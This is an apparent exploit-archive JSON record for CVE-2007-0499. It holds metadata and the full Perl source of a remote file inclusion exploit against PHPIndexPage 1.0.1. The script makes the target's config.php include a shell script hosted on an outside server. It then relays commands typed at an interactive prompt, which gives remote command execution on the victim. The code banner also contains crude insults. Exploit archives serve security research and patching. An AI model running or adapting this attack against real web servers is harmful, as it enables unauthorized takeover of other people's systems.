{"exploit":{"id":"EDB-3164","name":"PHPIndexPage 1.0.1 - 'config.php' Remote File Inclusion (RFI)","description":"PHPIndexPage 1.0.1 - 'config.php' Remote File Inclusion (RFI)","cves":["CVE-2007-0499"],"author":"DeltahackingTEAM","published":"2007-01-20","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3164","path":"exploits/php/webapps/3164.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3164.pl","vulnerabilities":[{"id":"CVE-2007-0499","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in config.php in Sangwan Kim phpIndexPage 1.0.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the env[inc_path] parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0499","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0499"},"updatedAt":"2024-08-07T12:19:30.357Z","retrievedAt":"2026-11-27T06:08:27.106Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3164.png?v=2","url":"https://exploitbin.com/exploits/EDB-3164","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3164/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3164/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\n##########################################################################################################\n#                                                                                                        #\n# phpindexpage 1.0 & 1.0.1 (config.php)Remote File Include Vulnerability                              \t #\n#                                                                                                        #\n# Bug Found : DeltahackingTEAM discovery:Dr.Pantagon & Exploitet By Dr.Pantagon                          #\n#                                                                                                        #\n# Class:  Remote File Include Vulnerability                                                              #\n#                                                                                                        #\n# exemplary Exp: http://www.site.com/config.php?env[inc_path]=                                           #\n#                                                                                                        #\n# Remote: Yes                                                                                            #\n#                                                                                                        #\n# Type:   Highly critical                                                                                #\n#                                                                                                        #\n# Vulnerable Code:include(\"$env[inc_path]/config.dist.php\");                            \t\t #\n#                                                                                                        #\n# Download:http://heanet.dl.sourceforge.net/sourceforge/phpindexpage/phpindexpage-1.0.1.tgz              #\n#                                                                                                        #\n# Ptach : www.Advistory.deltasecurity.ir                                                                 #\n#                                                                                                        #\n# Bug Found : DeltahackingTEAM Exploitet Discovered & Exploitet: Dr.Pantagon<Dr.Pantagon[A]Gmail.com     #\n#                                                                                                        #\n# Exploit: phpindex.pl                                                                                   #\n#                                                                                                        #\n# Web Site:www.deltasecurity.ir                                                \t\t\t\t #\n#                                                                                                        #\n#SP FUCK.............: z_zer0c00l(floozie Mother Test 100%=z_zer0c00l=misbegotten:D)                     #\n##########################################################################################################\n\nuse LWP::UserAgent;\nuse LWP::Simple;\n\n$target = @ARGV[0];\n$shellsite = @ARGV[1];\n$shellcmd = @ARGV[2];\n$file = \"config.php?env[inc_path]=\";\n\nif(!$target || !$shellsite)\n{\n    usage();\n}\n\nheader();\n\nprint \"Type 'exit' to quit\";\nprint \"[cmd]\\$\";\n$cmd = <STDIN>;\n\nwhile ($cmd !~ \"exit\")\n{\n    $xpl = LWP::UserAgent->new() or die;\n        $req = HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd) or die(\"\\n\\n Failed to connect.\");\n        $res = $xpl->request($req);\n        $r = $res->content;\n        $r =~ tr/[\\n]/[&#234;]/;\n\n    if (@ARGV[4] eq \"-r\")\n    {\n        print $r;\n    }\n    elsif (@ARGV[5] eq \"-p\")\n    {\n    # if not working change cmd variable to null and apply patch manually.\n    $cmd = \"echo if(basename(__FILE__) == basename(\\$_SERVER['PHP_SELF'])) die(); >> list_last.inc\";\n    print q\n    {\n\n    }\n    }\n    else\n    {\n    print \"[cmd]\\$\";\n    $cmd = <STDIN>;\n    }\n}\n\nsub header()\n{\n    print q\n    {\n#################################################################################\n                                 Only Str0ke\n                        Bug Found : DeltahackingTEAM\n               phpindex.pl   - Remote File Include Exploit\n            Vulnerability discovered and exploitet by Dr.Pantagon\n                          Dr.Pantagon@Gmail.com\n                           www.DeltaSecurity.ir\n#################################################################################\n    };\n}\n\nsub usage()\n{\nheader();\n    print q\n    {\n########################################################################\nUsage:\nperl Yrch!.pl  <Target website> <Shell Location> <CMD Variable> <-r> <-p>\n<Target Website> - Path to target eg: www.lashiyane.org\n<Shell Location> - Path to shell eg: d4wood.by.ru/cmd.gif\n<CMD Variable> - Shell command variable name eg: Pwd\n<r> - Show output from shell\n<p> - config.php\nExample:\nperl Axiom.pl  http://localhost/include http://localhost/s.txt cmd -r -p\n########################################################################\n    };\nexit();\n}\n\n# Reza Yavari\n\n# milw0rm.com [2007-01-20]","sha256":"0156fc838b782dbc333d077a7453e8b2e216ef3a8773740ec928985da51f4557","bytes":5039,"fetchedAt":"2026-11-27T06:08:23.922Z","encoding":"utf-8 (display only; download retains original bytes)"}